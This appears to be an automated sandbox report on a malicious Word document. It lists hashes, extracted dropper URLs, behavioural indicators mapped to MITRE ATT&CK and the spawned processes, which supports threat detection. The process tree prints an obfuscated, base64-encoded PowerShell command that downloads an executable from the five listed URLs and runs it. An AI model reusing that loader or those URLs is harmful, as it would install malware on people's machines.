7552c96fe26d72990ed41266e7d9f152f0be0ae10f6e335c50f0cf9ad81b954c

General

Target

aecsksrk.doc
Size

177KB
MD5

db1b0c04263c42047d6b74b1e81f3b6a
SHA1

d57b86969daaa860110f38ea40cf989d8c0773ac
SHA256

7552c96fe26d72990ed41266e7d9f152f0be0ae10f6e335c50f0cf9ad81b954c
SHA512

a85037f12b91166bc6d9a4875e823116715f9c809a4edb6f62acf105e36dccc1645ffacb79800f7f8c0a82b04c57e1649915e52c6e1af49fbedbc4b37065eed6

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://laurenebohn.com/briefed/2khzb_xw_qk86xalnhw/

exe.dropper

http://xristiana.com/cgi-bin/y_j_ue/

exe.dropper

http://berbercommunicatie.nl/cgi-bin/tge_1h4_hvgq/

exe.dropper

http://laarberg.com/cgi-bin/6s49_wr27h_24k0nel/

exe.dropper

http://atelierbrasilia.com/site/xt_8d_o1mo/

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powersheLL.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4568 552 powersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4568	552	powersheLL.exe

Blocklisted process makes network request 7 IoCs

Processes:

powersheLL.exe

flow	pid	process
22	4568	powersheLL.exe
24	4568	powersheLL.exe
29	4568	powersheLL.exe
31	4568	powersheLL.exe
33	4568	powersheLL.exe
34	4568	powersheLL.exe
36	4568	powersheLL.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

5040 WINWORD.EXE
5040 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powersheLL.exe

pid process

4568 powersheLL.exe
4568 powersheLL.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powersheLL.exe

description pid process

Token: SeDebugPrivilege 4568 powersheLL.exe
Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

WINWORD.EXE

pid process

5040 WINWORD.EXE
5040 WINWORD.EXE
5040 WINWORD.EXE
5040 WINWORD.EXE
5040 WINWORD.EXE
5040 WINWORD.EXE
5040 WINWORD.EXE
5040 WINWORD.EXE

pid	process
5040	WINWORD.EXE
5040	WINWORD.EXE

pid	process
4568	powersheLL.exe
4568	powersheLL.exe

description	pid	process
Token: SeDebugPrivilege	4568	powersheLL.exe

pid	process
5040	WINWORD.EXE
5040	WINWORD.EXE
5040	WINWORD.EXE
5040	WINWORD.EXE
5040	WINWORD.EXE
5040	WINWORD.EXE
5040	WINWORD.EXE
5040	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\aecsksrk.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:5040

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABqAGkAYQB6AHIAdQBzAG4AYQB1AHEAdQBnAGUAZQBkAD0AJwB4AG8AYQBxAHUAcQB1AGEAaQBkAHcAaQBvAGoAJwA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAcwBgAEUAYwBVAGAAUgBgAGkAYABUAFkAcABSAE8AdABvAGMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAegBpAHgAegBpAGIAZABpAGEAZAAgAD0AIAAnADMAMwA5ACcAOwAkAGYAZQBlAGwAYgBpAGgAdgBlAHUAawA9ACcAYwBoAGkAYQBjAGwAaQBvAHIAJwA7ACQAdABoAGUAdwBxAHUAbwBhAHQAaABzAG8AaQB6AHcAZQBlAGgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAHoAaQB4AHoAaQBiAGQAaQBhAGQAKwAnAC4AZQB4AGUAJwA7ACQAcQB1AGUAaQB6AGMAaAB1AHAAcQB1AG8AZAA9ACcAbgBpAGUAZgBtAG8AYQBuAGsAZQBlAGgAJwA7ACQAbABlAGUAbABwAGEAbwBwAGoAbwBnAHoAYQB1AGQAPQAmACgAJwBuAGUAJwArACcAdwAtACcAKwAnAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4AZQB0AC4AdwBlAGIAQwBMAEkARQBuAHQAOwAkAHIAdQBhAGIAZwBhAG4APQAnAGgAdAB0AHAAOgAvAC8AbABhAHUAcgBlAG4AZQBiAG8AaABuAC4AYwBvAG0ALwBiAHIAaQBlAGYAZQBkAC8AMgBrAGgAegBiAF8AeAB3AF8AcQBrADgANgB4AGEAbABuAGgAdwAvACoAaAB0AHQAcAA6AC8ALwB4AHIAaQBzAHQAaQBhAG4AYQAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHkAXwBqAF8AdQBlAC8AKgBoAHQAdABwADoALwAvAGIAZQByAGIAZQByAGMAbwBtAG0AdQBuAGkAYwBhAHQAaQBlAC4AbgBsAC8AYwBnAGkALQBiAGkAbgAvAHQAZwBlAF8AMQBoADQAXwBoAHYAZwBxAC8AKgBoAHQAdABwADoALwAvAGwAYQBhAHIAYgBlAHIAZwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvADYAcwA0ADkAXwB3AHIAMgA3AGgAXwAyADQAawAwAG4AZQBsAC8AKgBoAHQAdABwADoALwAvAGEAdABlAGwAaQBlAHIAYgByAGEAcwBpAGwAaQBhAC4AYwBvAG0ALwBzAGkAdABlAC8AeAB0AF8AOABkAF8AbwAxAG0AbwAvACcALgAiAHMAUABsAGAAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAbgBlAGUAdAB5AGEAZQB3AGYAdQB1AHQAPQAnAHYAZQBhAHcAdABoAGUAaQB0AGgAeABhAHgAcQB1AG8AaQB6ACcAOwBmAG8AcgBlAGEAYwBoACgAJABtAGkAZQBuAGgAaQBhAGgAdgBpAHkAbQBvAGgAIABpAG4AIAAkAHIAdQBhAGIAZwBhAG4AKQB7AHQAcgB5AHsAJABsAGUAZQBsAHAAYQBvAHAAagBvAGcAegBhAHUAZAAuACIARABgAG8AdwBOAGwAYABPAGEAZABGAGAAaQBMAGUAIgAoACQAbQBpAGUAbgBoAGkAYQBoAHYAaQB5AG0AbwBoACwAIAAkAHQAaABlAHcAcQB1AG8AYQB0AGgAcwBvAGkAegB3AGUAZQBoACkAOwAkAHkAZQBvAGMAaABsAG8AdQBqAHkAZQBlAGMAPQAnAHIAdQB1AHMAeABvAHUAeABsAGkAdwBuAGUAaQBwACcAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAdABoAGUAdwBxAHUAbwBhAHQAaABzAG8AaQB6AHcAZQBlAGgAKQAuACIATABlAG4AYABnAHQAaAAiACAALQBnAGUAIAAzADYAMwA2ADQAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAcgBlAGAAQQB0AEUAIgAoACQAdABoAGUAdwBxAHUAbwBhAHQAaABzAG8AaQB6AHcAZQBlAGgAKQA7ACQAbQBvAGkAbABoAHUAdQBmAGIAYQBvAGsAPQAnAGIAdQBzAGsAZQBhAHIAdABhAGkAagBiAHUAYQBtACcAOwBiAHIAZQBhAGsAOwAkAHIAaQBvAHcAcgBvAGkAYwBoAD0AJwBoAG8AYQB0AGsAZQB2AGMAaAB1AHUAbQB2AHUAdQBrACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAHoAZQB3AGwAZQB1AGIAZABhAGsAPQAnAHkAdQBwAHgAaQBlAHIAaABhAGUAeAB0AGUAYQB3ACcA
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4568

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/4568-138-0x0000025779070000-0x0000025779092000-memory.dmp

Filesize
136KB

Download
memory/4568-139-0x00007FFA019B0000-0x00007FFA02471000-memory.dmp

Filesize
10.8MB

Download
memory/5040-133-0x00007FF9ED310000-0x00007FF9ED320000-memory.dmp

Filesize
64KB

Download
memory/5040-130-0x00007FF9ED310000-0x00007FF9ED320000-memory.dmp

Filesize
64KB

Download
memory/5040-134-0x00007FF9ED310000-0x00007FF9ED320000-memory.dmp

Filesize
64KB

Download
memory/5040-135-0x00007FF9EA9B0000-0x00007FF9EA9C0000-memory.dmp

Filesize
64KB

Download
memory/5040-136-0x00007FF9EA9B0000-0x00007FF9EA9C0000-memory.dmp

Filesize
64KB

Download
memory/5040-137-0x00000246D6010000-0x00000246D6014000-memory.dmp

Filesize
16KB

Download
memory/5040-132-0x00007FF9ED310000-0x00007FF9ED320000-memory.dmp

Filesize
64KB

Download
memory/5040-131-0x00007FF9ED310000-0x00007FF9ED320000-memory.dmp

Filesize
64KB

Download
memory/5040-141-0x00007FF9ED310000-0x00007FF9ED320000-memory.dmp

Filesize
64KB

Download
memory/5040-142-0x00007FF9ED310000-0x00007FF9ED320000-memory.dmp

Filesize
64KB

Download
memory/5040-143-0x00007FF9ED310000-0x00007FF9ED320000-memory.dmp

Filesize
64KB

Download
memory/5040-144-0x00007FF9ED310000-0x00007FF9ED320000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads